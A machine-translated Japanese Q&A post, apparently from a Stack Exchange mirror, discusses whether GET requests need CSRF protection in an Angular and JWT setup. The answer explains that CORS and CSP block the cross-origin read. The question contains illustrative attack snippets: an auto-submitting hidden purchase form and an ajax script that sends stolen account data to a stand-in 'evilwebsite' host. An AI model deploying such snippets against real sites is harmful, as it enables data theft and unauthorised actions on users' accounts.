web-dev-qa-db-ja.com

GETリクエストにはCSRF保護が必要

REST APIを使用して、認証されたユーザーが自分のアカウントに関するデータを読み取り、自分のアカウントに変更を加えることができます。認証には、httpOnly Cookieとして保存されたJWTを使用します。CSRF攻撃から保護するために、= REST APIは、クライアントにAngularが「XSRFトークン」を呼び出すものを提供します。

AngularのCSRF保護の方法は、APIが作成したXSRFトークンを取得し、「X-XSRF-Token」ヘッダー内の各リクエストでAPIに再送信することです。リクエストを許可するかどうかは、APIが決定します。悪意のあるWebサイトで実行されているスクリプトはXSRFトークンにアクセスできないため、CSRF要求とともに送信することはできません。

AngularにHttpClientを使用してフロントエンドリクエストを実装したところ、HttpXsrfInterceptorがX-XSRF-TokenヘッダーをGETおよびHEADリクエスト。

オンラインで読んだ意見では、GETリクエストはデータを変更しない（または変更してはならない）ため、CSRF保護は必要ありません。 GETリクエストでできるCSRF攻撃のほとんどは、REST APIが機密データをユーザーのWebブラウザーに送信することです。悪意のあるWebサイトはそのデータを見ることができません。

例1：CSRF GET

悪意のあるWebサイトが次のようなCSRF GETリクエストを発行しようとした場合：

<img src="https://example.com/sensitiveData">

次に、機密データがAPIからユーザーのWebブラウザーに送信されますが、悪意のあるWebサイトはデータを見ることができないため、すべて正常です。

例2：CSRF POST

悪意のあるWebサイトがCSRF POSTリクエストを次のように発行しようとした場合：

<body onLoad="document.forms[0].submit()">
<form method="post" action="https://example.com/purchase">
  <input type="hidden" name="itemId" value="34873847">
  <input type="submit" value="View Kittens">
</form>
...

その場合、悪意のあるWebサイトにはデータが表示されませんが、ユーザーに損害を与える可能性があります。 APIがX-XSRF-Tokenヘッダーの存在を必要とする場合、この攻撃は成功しません。

例3：AjaxによるCSRF GET

しかし、悪意のあるWebサイトがブラウザに次のようなGETリクエストを強制するとどうなりますか。

<script>
$.ajax('https://example.com/sensitiveData', {
  xhrFields: {
    withCredentials: true,
  },
}).done((sensitiveData) => {
  $.ajax('https://evilwebsite/logData', {
    method: 'post',
    data: sensitiveData,
  }).done(() => {
    console.log('I stole your data', sensitiveData)
  });
});
</script>

一部のCORSポリシーはこれを阻止しますが、他のCORSポリシーはそれを実現させます。

GETリクエストでCSRF保護を要求すると、この脆弱性が緩和されるようです。

重要なものが欠けていますか？

cookiescsrfjwtcors
5
Dave

イントロと例1と2のすべてについて100％正解です。

例3に関しては、CORSが起動し、スクリプトがexample.comからの結果を受信しないようにします。指定されたJavaScriptが応答を読み取ってevil.comに送信できる唯一の方法は、次の条件のいずれかが満たされた場合です。

  1. このスクリプトは、example.comがCORSヘッダーを介して明示的にホワイトリストに登録し、認証情報を使用する権限が付与されているドメインで実行されています
  2. スクリプトはexample.comで直接実行されています（この場合、重大な問題であるXSS攻撃の犠牲になります）。

上記の＃2の場合でも、しっかりしたCSPを使用すると、データがevil.comにエスケープするのを防ぐことができます（詳しくない場合はGoogleに値します）。

要するに、これはCORSが防御するように設計されたまさにその種の攻撃です。上記の項目を除き、CORSはすべてのケースで応答をブロックする必要があります。したがって、CORS 当てはまらないと思われる具体的な例がない限り、CORSがそのような要求を許可する可能性があるというあなたの主張は正しくないと思います。

4
Conor Mancone